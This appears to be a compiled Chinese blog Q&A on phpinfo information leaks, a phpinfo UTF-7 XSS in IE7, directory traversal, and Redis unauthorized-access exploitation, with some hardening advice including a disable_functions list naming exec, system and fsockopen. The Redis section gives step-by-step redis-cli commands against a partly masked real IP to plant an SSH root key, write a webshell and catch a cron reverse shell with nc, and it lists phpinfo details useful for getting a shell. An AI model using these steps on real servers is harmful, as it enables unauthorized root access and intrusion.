本文目录一览:
- 1、发现phpinfo信息泄露漏洞 要怎么处理
- 2、什么是phpinfo xss跨站脚本攻击漏洞?
- 3、什么是目录遍历漏洞,什么是phpinfo消息泄露,最好是详细的通俗易懂的啊
- 4、谈谈从phpinfo中能获取哪些值得注意的信息
- 5、Redis未授权漏洞利用方式
- 6、PHP中phpinfo函数有什么用
发现phpinfo信息泄露漏洞 要怎么处理
(1)通过修改服务器环境内php.ini文件,将“expose_php = On”修改成“expose_php = Off”然后重启php即可。
(2)如果确实需要该测试信息,在测试时使用,测试完毕后将该文件删除掉。
(3)若无需要可以将一些php的危险函数禁用,打开/etc/php.ini文件,查找到 disable_functions,添加需禁用的以下函数名:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,
proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,
symlink,popepassthru,stream_socket_server,fsocket,fsockopen
什么是phpinfo xss跨站脚本攻击漏洞?
php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发。phpinfo()是用来显示当前php环境的一个函数,许多站点和程序都会将phpinfo放在自己的站点上或者在程序里显示,但是phpinfo里存在一些安全问题,导致精心构造数据就可以产生一个跨站脚本漏洞,可以被用来进行攻击。
漏洞成因: phpinfo页面对输入的参数都做了详细的过滤,但是没有对输出的进行charset的指定,而在一些浏览器里如IE7里,你可以让它自动选择编码或者通过一个iframe页面给它指定编码,这样就可以饶过phpinfo的过滤而产生一个跨站脚本漏洞。
漏洞来源:
漏洞利用: 利用代码如下:
html
head
META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7″
/head
body
iframe src=”;+ADw-/SCRIPT+AD4-=1″
以上代码在IE7+php 5.2.6测试成功。phpinfo页面的xss甚至比其他页面更加危险,因为如果有phpinfo的存在,恶意攻击者可以利用phpinfo的输出bypass如httponly和一些基础认证。
漏洞影响: 影响所有版本的php和浏览器IE7
漏洞修补: 建议暂时删除站点的phpinfo页面避免被人利用。
什么是目录遍历漏洞,什么是phpinfo消息泄露,最好是详细的通俗易懂的啊
目录遍历漏洞在国内外有许多不同的叫法,比如也可以叫做信息泄露漏洞,非授权文件包含漏洞.名称虽然多,可他们却有一个共同的成因,就是在程序中没有过滤用户输入的../和./之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件,其危害可想而知.
谈谈从phpinfo中能获取哪些值得注意的信息
一、绝对路径(_SERVER[“SCRIPT_FILENAME”])
这个是最常用,也是最有效的一个办法,找到phpinfo()页面可以直接找到网站的绝对路径,对于写shell和信息搜集是必不可少的。
二、支持的程序
可以通过phpinfo()查看一些特殊的程序服务,比如redis、memcache、mysql、SMTP、curl等等如果服务器装了redis或者memcache可以通过ssrf来getshell了,在discuz中都出现过此类问题。如果确定装了redis或memcache的话,在没有思路的情况下,可以着重找一下ssrf
三、泄漏真实ip(_SERVER[“SERVER_ADDR”]或SERVER_ADDR)
有时候通过phpinfo()泄漏的ip可以查查旁站、c段什么的,直接无视cdn,百事不灵。
四、GOPHER
也算是ssrf一部分吧,或者说主要靠ssrf利用起来,如果支持gopher,ssrf便没有压力咯
五、fastcgi
查看是否开启fastcgi和fastcgi的版本,可能导致解析漏洞、远程命令执行、任意文件读取等问题
六、泄漏缓存文件地址(_FILES[“file1”])
向phpinfo() post一个shell可以在_FILES[“file1”]中看到上传的临时文件,如果有个lfi,便可以直接getshell了。
Redis未授权漏洞利用方式
总结一下redis未授权拿shell:
redis-cli -h ip
Windows:
1.找网站绝对路径
2.config set dir 绝对路径根路径
config get dir
config set dbfilename indexbak.php
set webshell “?php phpinfo();?”
save
Linux系统:
第一种:写密钥
第二种:写crotab反弹shell
第三种:找绝对路径写webshell
1)本地生成秘钥
root@GanDolf :~# ssh-keygen -t rsa
2)将公钥写入一个文件
root@GanDolf :~# cd /root/.ssh/
root@GanDolf :~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) foo.txt
3)连接redis写入文件 root@GanDolf :~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
OK
root@GanDolf :~/.ssh# redis-cli -h 210.73.90.xxx
210.73.90.xxx:6379 config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379 CONFIG GET dir
4)连接服务器
root@GanDolf :~/.ssh# ssh -i id_rsa root@210.73.90.xxx
二、 利用方式不需要猜 web路径,写到cron里面
然后本机nc -lvv 2333
一会儿shell就弹回来了。
修复建议:
1)修改默认端口
2)监听本地端口
3)使用非root启动,否则出现漏洞1,直接拿到root权限
4)修改配置文件,禁用相关命令
PHP中phpinfo函数有什么用
1查看服务器配置是否支持php要求的运行环境
2查看php各项功能配置的打开关闭情况
3调试php配置变动及插件运行情况
原创文章,作者:QEYF,如若转载,请注明出处:https://www.506064.com/n/139430.html